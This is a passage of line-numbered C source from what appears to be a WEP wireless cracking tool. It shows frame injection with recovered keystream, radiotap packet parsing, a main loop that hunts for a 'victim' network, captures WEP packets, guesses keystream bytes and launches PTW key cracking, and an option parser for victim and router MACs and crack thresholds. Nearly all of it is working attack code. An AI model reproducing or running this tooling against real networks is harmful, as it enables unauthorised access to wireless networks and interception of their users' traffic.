2232
2233	if (dlen+8 > prgainfo.len) {
2234		printf("\n");
2235		// XXX lame message...
2236		time_print("Sorry... want to send %d but only got %d prga\n",
2237			   dlen, prgainfo.len);
2238		return;
2239
2240	}
2241
2242	if (taptx_len) {
2243		printf("\n");
2244		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2245		// XXX could not read instead and get rid of it in select...
2246	}
2247
2248	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2249
2250	eh = (struct ether_header*) buf;
2251
2252	wh = (struct ieee80211_frame*) taptx;
2253	memset(wh, 0, sizeof(*wh));
2254	fill_basic(wh);
2255
2256        wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2257        wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2258
2259	memcpy(wh->i_addr2, eh->ether_shost, 6);
2260	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2261
2262        body = (unsigned char*) wh + sizeof(*wh);
2263        ptr = body;
2264        ptr += 4; // iv
2265
2266	do_llc(ptr, ntohs(eh->ether_type));
2267	ptr += 8;
2268
2269	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2270
2271	wepify(body, 8+dlen);
2272	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2273
2274	assert (taptx_len < sizeof(taptx));
2275}
2276
2277int elapsedd(struct timeval *past, struct timeval *now)
2278{
2279        int el;
2280
2281        el = now->tv_sec - past->tv_sec;
2282        assert(el >= 0);
2283        if (el == 0) {
2284                el = now->tv_usec - past->tv_usec;
2285        } else {
2286                el = (el - 1)*1000*1000;
2287                el += 1000*1000-past->tv_usec;
2288                el += now->tv_usec;
2289        }
2290
2291        return el;
2292}
2293
2294static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2295{
2296#define BIT(n)  (1<<(n))
2297        struct bpf_hdr *bpfh;
2298        struct ieee80211_radiotap_header *rth;
2299        uint32_t present;
2300        uint8_t rflags;
2301        void *ptr;
2302	static int nocrc = 0;
2303
2304	assert(*totlen);
2305
2306        /* bpf hdr */
2307        bpfh = (struct bpf_hdr*) (*data);
2308        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2309        *totlen -= bpfh->bh_hdrlen;
2310
2311        /* check if more packets */
2312        if ((int)bpfh->bh_caplen < *totlen) {
2313                int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2314                int offset = BPF_WORDALIGN(tot);
2315
2316                *data = (char*)bpfh + offset;
2317                *totlen -= offset - tot; /* take into account align bytes */
2318        } else if ((int)bpfh->bh_caplen > *totlen)
2319                abort();
2320
2321        *plen = bpfh->bh_caplen;
2322        *totlen -= bpfh->bh_caplen;
2323        assert(*totlen >= 0);
2324
2325        /* radiotap */
2326        rth = (struct ieee80211_radiotap_header*)
2327              ((char*)bpfh + bpfh->bh_hdrlen);
2328        /* XXX cache; drivers won't change this per-packet */
2329        /* check if FCS/CRC is included in packet */
2330        present = le32toh(rth->it_present);
2331        if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2332                if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2333                        rflags = ((const uint8_t *)rth)[8];
2334                else
2335                        rflags = ((const uint8_t *)rth)[0];
2336        } else
2337                rflags = 0;
2338        *plen -= rth->it_len;
2339        assert(*plen > 0);
2340
2341        /* 802.11 CRC */
2342        if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2343                *plen -= IEEE80211_CRC_LEN;
2344                nocrc = 1;
2345        }
2346
2347        ptr = (char*)rth + rth->it_len;
2348
2349        return ptr;
2350#undef BIT
2351}
2352
2353static int read_packet(int fd, unsigned char *dst, int len)
2354{
2355	static unsigned char buf[4096];
2356	static int totlen = 0;
2357	static unsigned char *next = buf;
2358        unsigned char *pkt;
2359        int plen;
2360
2361        assert(len > 0);
2362
2363        /* need to read more */
2364        if (totlen == 0) {
2365                totlen = read(fd, buf, sizeof(buf));
2366                if (totlen == -1) {
2367                        totlen = 0;
2368                        return -1;
2369                }
2370                next = buf;
2371        }
2372
2373        /* read 802.11 packet */
2374        pkt = get_80211(&next, &totlen, &plen);
2375        if (plen > len)
2376                plen = len;
2377        assert(plen > 0);
2378        memcpy(dst, pkt, plen);
2379
2380        return plen;
2381}
2382
2383void own(int wifd) {
2384	unsigned char buf[4096];
2385	int rd;
2386	fd_set rfd;
2387	struct timeval tv;
2388	char *pbar = "/-\\|";
2389	char *pbarp = &pbar[0];
2390	struct timeval lasthop;
2391	struct timeval now;
2392	unsigned int last_wep_count = 0;
2393	struct timeval last_wcount;
2394	struct timeval last_status;
2395	int fd;
2396	int largest;
2397
2398	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2399	if (weplog.fd == -1) {
2400		struct pcap_file_header pfh;
2401
2402		memset(&pfh, 0, sizeof(pfh));
2403		pfh.magic           = TCPDUMP_MAGIC;
2404		pfh.version_major   = PCAP_VERSION_MAJOR;
2405		pfh.version_minor   = PCAP_VERSION_MINOR;
2406		pfh.thiszone        = 0;
2407		pfh.sigfigs         = 0;
2408		pfh.snaplen         = 65535;
2409		pfh.linktype        = LINKTYPE_IEEE802_11;
2410
2411		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2412				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2413		if (weplog.fd != -1) {
2414			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2415				err(1, "write()");
2416		}
2417	}
2418	else {
2419		time_print("WARNING: Appending in %s\n", WEP_FILE);
2420	}
2421
2422	if (weplog.fd == -1) {
2423		perror("open()");
2424		exit(1);
2425	}
2426
2427	fd = open(PRGA_FILE, O_RDONLY);
2428	if (fd != -1) {
2429		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2430		rd = read(fd, buf, sizeof(buf));
2431		if (rd == -1) {
2432			perror("read()");
2433			exit(1);
2434		}
2435		if (rd >= 8) {
2436			set_prga(buf, NULL, &buf[3], rd - 3);
2437		}
2438
2439		close(fd);
2440	}
2441
2442	fd = open(DICT_PATH, O_RDONLY);
2443	if (fd == -1) {
2444		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2445		if (mkdir (DICT_PATH, 0755) == -1) {
2446			perror("mkdir()");
2447			exit(1);
2448		}
2449	}
2450	else
2451		close(fd);
2452
2453	open_tap();
2454	set_if_mac(mymac, tapdev);
2455	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2456
2457	if (tapfd > wifd)
2458		largest = tapfd;
2459	else
2460		largest = wifd;
2461
2462	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2463		perror("signal()");
2464		exit(1);
2465	}
2466	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2467		perror("signal()");
2468		exit(1);
2469	}
2470
2471	time_print("Looking for a victim...\n");
2472	if (gettimeofday(&lasthop, NULL) == -1) {
2473		perror("gettimeofday()");
2474		exit(1);
2475	}
2476
2477	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2478	memcpy(&last_status, &lasthop, sizeof(last_status));
2479
2480	while (1) {
2481		if (gettimeofday(&now, NULL) == -1) {
2482			perror("gettimeofday()");
2483			exit(1);
2484		}
2485
2486		/* check for relay timeout */
2487		if (fragstate.waiting_relay) {
2488			int el;
2489
2490			el = now.tv_sec - fragstate.last.tv_sec;
2491			assert (el >= 0);
2492			if (el == 0) {
2493				el = now.tv_usec - fragstate.last.tv_usec;
2494			} else {
2495				el--;
2496
2497				el *= 1000*1000;
2498				el += 1000*1000 - fragstate.last.tv_usec;
2499				el += now.tv_usec;
2500
2501				if (el > (1500*1000)) {
2502//					printf("\nLAMER timeout\n\n");
2503					free(fragstate.data);
2504					fragstate.data = 0;
2505				}
2506			}
2507		}
2508
2509		/* check for arp timeout */
2510		if (rtrmac == (unsigned char*) 1) {
2511			int el;
2512
2513			el = elapsedd(&arpsend, &now);
2514			if (el >= (1500*1000)) {
2515				rtrmac = 0;
2516			}
2517		}
2518
2519		// status bar
2520		if ( (now.tv_sec > last_status.tv_sec ) ||
2521		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2522		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2523				check_key();
2524			}
2525			if (netip && prgainfo.len >= min_prga &&
2526			    rtrmac > (unsigned char*) 1) {
2527				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2528				       weplog.packets, wep_thresh,
2529				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2530				       weplog.rate);
2531				fflush(stdout);
2532			}
2533			else {
2534				if (state == FIND_VICTIM)
2535					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2536				else if (decryptstate.cipher) {
2537					int pos = decryptstate.prgainfo.len - 1;
2538					unsigned char prga = decryptstate.prgainfo.prga[pos];
2539					assert(pos);
2540
2541					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2542						   prga, decryptstate.cipher[pos] ^ prga);
2543				}
2544				else
2545					time_print("%c\r", *pbarp);
2546				fflush(stdout);
2547			}
2548			memcpy(&last_status, &now,sizeof(last_status));
2549		}
2550
2551		// check if we are cracking
2552		if (crack_pid) {
2553			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2554				kill_crack();
2555		}
2556
2557		// check TX  / retransmit
2558		if (txstate.waiting_ack) {
2559			unsigned int elapsed = now.tv_sec -
2560					       txstate.tsent.tv_sec;
2561			elapsed *= 1000*1000;
2562			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2563
2564			if (elapsed >= ack_timeout)
2565				send_frame(wifd, NULL, -1);
2566		}
2567
2568		// INPUT
2569		// select
2570		FD_ZERO(&rfd);
2571		FD_SET(wifd, &rfd);
2572		FD_SET(tapfd, &rfd);
2573		tv.tv_sec = 0;
2574		tv.tv_usec = 1000*10;
2575		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2576		if (rd == -1) {
2577			perror("select()");
2578			exit(1);
2579		}
2580
2581		// read
2582		if (rd != 0) {
2583			// wifi
2584			if (FD_ISSET(wifd, &rfd)) {
2585				rd = read_packet(wifd, buf, sizeof(buf));
2586				if (rd == 0)
2587					return;
2588				if (rd == -1) {
2589					perror("read()");
2590					exit(1);
2591				}
2592
2593				pbarp++;
2594				if(!(*pbarp))
2595					pbarp = &pbar[0];
2596				// input
2597				anal(buf, rd, wifd);
2598			}
2599
2600			// tap
2601			if (FD_ISSET(tapfd, &rfd)) {
2602				read_tap();
2603			}
2604		}
2605
2606		// check state and what we do next.
2607		if (state == FIND_VICTIM) {
2608			if (now.tv_sec > lasthop.tv_sec ||
2609			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2610				int chan = chaninfo.chan;
2611				chan++;
2612
2613				if(chan > max_chan)
2614					chan = 1;
2615
2616				set_chan(chan);
2617				memcpy(&lasthop, &now, sizeof(lasthop));
2618			}
2619		} else {
2620		// check if we need to write something...
2621			if (!txstate.waiting_ack)
2622				can_write(wifd);
2623
2624			// roughly!
2625
2626#ifdef MORE_ACCURATE
2627			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2628				unsigned int elapsed;
2629				int secs;
2630				int packetz = weplog.packets - last_wep_count;
2631				elapsed = 1000*1000;
2632
2633				elapsed -= last_wcount.tv_usec;
2634
2635				assert(elapsed >= 0);
2636				elapsed += now.tv_usec;
2637
2638				secs = now.tv_sec - last_wcount.tv_sec;
2639				secs--;
2640				if (secs > 0)
2641					elapsed += (secs*1000*1000);
2642
2643				weplog.rate = (int)
2644				((double)packetz/(elapsed/1000.0/1000.0));
2645#else
2646			if ( now.tv_sec > last_wcount.tv_sec) {
2647				weplog.rate = weplog.packets - last_wep_count;
2648#endif
2649				last_wep_count = weplog.packets;
2650				memcpy(&last_wcount, &now, sizeof(now));
2651
2652				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2653					try_crack();
2654			}
2655		}
2656	}
2657}
2658
2659void start(char *dev) {
2660	int fd;
2661
2662	setup_if(dev);
2663
2664	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2665
2666	ptw = PTW_newattackstate();
2667	if (!ptw)
2668		err(1, "PTW_newattackstate()");
2669
2670	own(fd);
2671
2672#if 0
2673	{
2674		int i;
2675		struct timeval tv;
2676		set_chan(11);
2677		for (i = 0; i < 10; i++) {
2678			gettimeofday(&tv, NULL);
2679
2680			send_ack(tx);
2681//			usleep(500);
2682			printf("%lu\n", tv.tv_usec);
2683		}
2684	}
2685#endif
2686
2687	close(fd);
2688}
2689
2690void usage(char* pname) {
2691	printf("Usage: %s <opts>\n", pname);
2692	printf("-h\t\tthis lame message\n");
2693	printf("-i\t\t<iface>\n");
2694	printf("-s\t\t<flood server ip>\n");
2695	printf("-m\t\t<my ip>\n");
2696	printf("-n\t\t<net ip>\n");
2697	printf("-r\t\t<rtr mac>\n");
2698	printf("-a\t\t<mymac>\n");
2699	printf("-c\t\tdo not crack\n");
2700	printf("-p\t\t<min prga>\n");
2701	printf("-4\t\t64 bit key\n");
2702	printf("-v\t\tvictim mac\n");
2703	printf("-t\t\t<crack thresh>\n");
2704	printf("-f\t\t<max chan>\n");
2705	exit(0);
2706}
2707
2708void str2mac(unsigned char* dst, unsigned char* mac) {
2709	unsigned int macf[6];
2710	int i;
2711
2712	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2713                   &macf[0], &macf[1], &macf[2],
2714                   &macf[3], &macf[4], &macf[5]) != 6) {
2715
2716		   printf("can't parse mac %s\n", mac);
2717		   exit(1);
2718	}
2719
2720	for (i = 0; i < 6; i++)
2721		*dst++ = (unsigned char) macf[i];
2722}
2723
2724int main(int argc, char *argv[]) {
2725	unsigned char* dev = "ath0";
2726	unsigned char rtr[6];
2727	unsigned char vic[6];
2728
2729	int ch;
2730
2731	if (gettimeofday(&real_start, NULL) == -1) {
2732		perror("gettimeofday()");
2733		exit(1);
2734	}
2735
2736	chaninfo.s = -1;
2737	victim.ssid = 0;
2738	prgainfo.len = 0;
2739
2740	memset(&txstate, 0, sizeof(txstate));
2741	memset(&fragstate, 0, sizeof(fragstate));
2742	memset(&decryptstate, 0, sizeof(decryptstate));
2743	memset(&weplog, 0, sizeof(weplog));
2744
2745	state = FIND_VICTIM;
2746
2747	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2748		switch (ch) {
2749			case 'a':
2750				str2mac(mymac, optarg);
2751				break;
2752
2753			case 's':
2754				floodip = optarg;
2755				break;
2756
2757			case 'i':
2758				dev = optarg;
2759				break;
2760
2761			case 'm':
2762				strncpy(myip, optarg, sizeof(myip)-1);
2763				myip[sizeof(myip)-1] = 0;
2764				break;
2765
2766			case 'n':
2767				netip = optarg;
2768				netip_arg = 1;
2769				break;
2770
2771			case 'r':
2772				str2mac(rtr, optarg);
2773				rtrmac = rtr;
2774				break;
2775
2776			case 'v':
2777				str2mac(vic, optarg);
2778				victim_mac = vic;
2779				break;
2780
2781			case 'c':
2782				wep_thresh = -1;
2783				break;
2784
2785			case 'p':
2786				min_prga = atoi(optarg);
2787				break;
2788
2789			case 't':
2790				thresh_incr = wep_thresh = atoi(optarg);
2791				break;
2792
2793			case 'f':
2794				max_chan = atoi(optarg);
2795				break;
2796
2797			case '4':
2798				bits = 64;
2799				break;
2800
2801			default:
2802				usage(argv[0]);
2803				break;
2804		}
2805	}
2806
2807	start(dev);
2808
2809	if(chaninfo.s != -1)
2810		close(chaninfo.s);
2811	if(victim.ssid)
2812		free(victim.ssid);
2813	exit(0);
2814}
2815